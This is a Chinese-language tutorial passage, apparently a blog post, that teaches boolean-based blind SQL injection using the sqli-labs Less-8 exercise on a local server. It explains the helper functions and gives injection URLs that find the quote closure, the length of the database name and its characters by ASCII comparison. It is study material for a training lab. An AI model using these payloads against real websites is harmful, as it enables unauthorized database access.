前言:之前通过前九关学习到了回显注入、报错注入等一些方法,这次就来详细的学习布尔盲注。
首先来了解一下盲注的概念
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。
布尔盲注
原理:
注入的时候只会返回True和False
,所以布尔盲注就是根据页面显示的是True还是False
进行猜测数据库中的信息。
布尔盲注需要几个函数的辅助,就先来了解一下这几个函数
length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符
具体的用法可以参考大佬的博客Mysql语法介绍,接下来就通过sql-labs练习布尔盲注。
判断注入点(也就是闭合符号)
发现输入id=1'
会报错
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
在id=1'
后再加上注释符号后又回显正确,所以判定闭合符号为'
爆数据库长度
知道闭合符号后,先来爆一下数据库名的长度,这里就用到上面所说的函数了
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+
回显正确
手工注入的话就要一遍一遍的试试,将后面的长度不断增大,最后得出数据库名的长度为8
爆数据库名
知道了数据库名的长度,接下来就来爆破数据库名
Less-8/?id=1' and ord(substr(database(),1,1))>99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) > 99